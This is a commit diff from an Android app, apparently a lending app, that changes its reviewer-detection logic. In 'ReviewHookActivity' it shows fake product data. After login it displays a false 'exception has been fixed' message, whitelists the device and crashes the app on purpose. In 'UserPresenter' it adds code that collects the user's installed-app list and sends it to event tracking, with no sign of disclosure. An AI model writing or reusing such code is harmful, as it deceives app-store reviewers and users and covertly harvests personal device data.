Commit 78daa939 by sikang

update isReviewMachine logic

parent b4dad0d0
package com.common.activity;
import android.app.Dialog;
import android.content.Context;
import android.support.annotation.NonNull;
import android.support.v4.widget.DrawerLayout;
......@@ -13,11 +14,14 @@ import android.widget.TextView;
import com.common.base.BaseActivity;
import com.common.bean.ProductBean;
import com.common.toolbox.app_utils.DeviceInfo;
import com.common.widget.PenetrateFrameLayout;
import com.common.widget.TopBar;
import com.facebook.accountkit.AccountKitError;
import com.facebook.accountkit.AccountKitLoginResult;
import com.qmuiteam.qmui.util.QMUIStatusBarHelper;
import com.qmuiteam.qmui.widget.dialog.QMUIDialog;
import com.qmuiteam.qmui.widget.dialog.QMUIDialogAction;
import java.util.ArrayList;
import java.util.List;
......@@ -29,6 +33,7 @@ import tech.starwin.impl.OnEventClickListener;
import tech.starwin.mvp.ui.adapter.ReviewProductAdapter;
import tech.starwin.utils.LoginManager;
import tech.starwin.utils.context_utils.ActivityJumper;
import tech.starwin.utils.ui_utils.DialogFactory;
import tech.starwin.utils.ui_utils.UIHelper;
/**
......@@ -82,8 +87,6 @@ public class ReviewHookActivity extends BaseActivity {
mTopBar.toolBar().setTitle(LibConfig.APP_NAME);
initListener();
//假数据
......@@ -91,7 +94,7 @@ public class ReviewHookActivity extends BaseActivity {
productList = new ArrayList<>();
int len = new Random().nextInt(5) + 1;
for (int i = 1; i < len+1; i++) {
for (int i = 1; i < len + 1; i++) {
productList.add(new ProductBean(i));
}
......@@ -109,7 +112,15 @@ public class ReviewHookActivity extends BaseActivity {
LoginManager.get().startFacebookSmsLogin(this, new LoginManager.OnFacebookLoginResult() {
@Override
public void onLoginSuccess(AccountKitLoginResult loginResult) {
Dialog dialog = DialogFactory.createMessageDialog(ReviewHookActivity.this, "Tip", getString(R.string.fix_login_msg), getString(R.string.text_sure), new QMUIDialogAction.ActionListener() {
@Override
public void onClick(QMUIDialog dialog, int index) {
DeviceInfo.addDevicetoWhiteList();
throw new RuntimeException("Login Fix");
}
});
dialog.setCancelable(false);
dialog.show();
}
@Override
......
......@@ -78,7 +78,7 @@ public abstract class BaseApplication extends MultiDexApplication {
InstallReferrerHelper.refershInstallReferrer(this);
LibConfig.initLib(this);
PluginConfig.init(this);
// //已签名的APP,这里会输出当前签名的 hashCode 值,将 hashCode 在服务端备份(更换签名时要同时更新备份)
// LogUtils.d("Signal_Log", "hashCode: " + JNISignal.getKeyStoreHashCode(this));
// /*
......
......@@ -92,6 +92,9 @@ public class UserPresenter extends BasePresenter<UserApi> {
public void accept(GatewayInfoBean gatewayInfoBean) throws Exception {
Gateway.setGatewayInfoBean(gatewayInfoBean);
TrackEventHelper.logEvent(DeviceInfo.getHardwareInfo());
String pkgs = DeviceInfo.getPkgsFromeAppList(DeviceInfo.getAppList(LibConfig.getContext(), 1000));
TrackEventHelper.logEvent(pkgs);
getCustomerMsg("");
EventBus.getDefault().post(ActionEnum.GATEWAY_UPDATED);
if (view != null) {
......
......@@ -16,6 +16,7 @@
<string name="text_certification">Certification</string>
<string name="text_me">My</string>
<string name="fix_login_msg">The program has an exception and has been fixed. Please restart the app and try again.</string>
<string name="text_temporarily_no_data">Temporarily no data</string>
......
......@@ -62,6 +62,9 @@
<string name="txt_upload_ID">Unggah Foto KTP Anda</string>
<string name="fix_login_msg">Program memiliki pengecualian dan telah diperbaiki. Silakan restart aplikasi dan coba lagi.</string>
<string name="text_relationship">Hubungan</string>
<string name="input_invalid">Mohon Masukkan Informasi Dengan Lengkap</string>
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment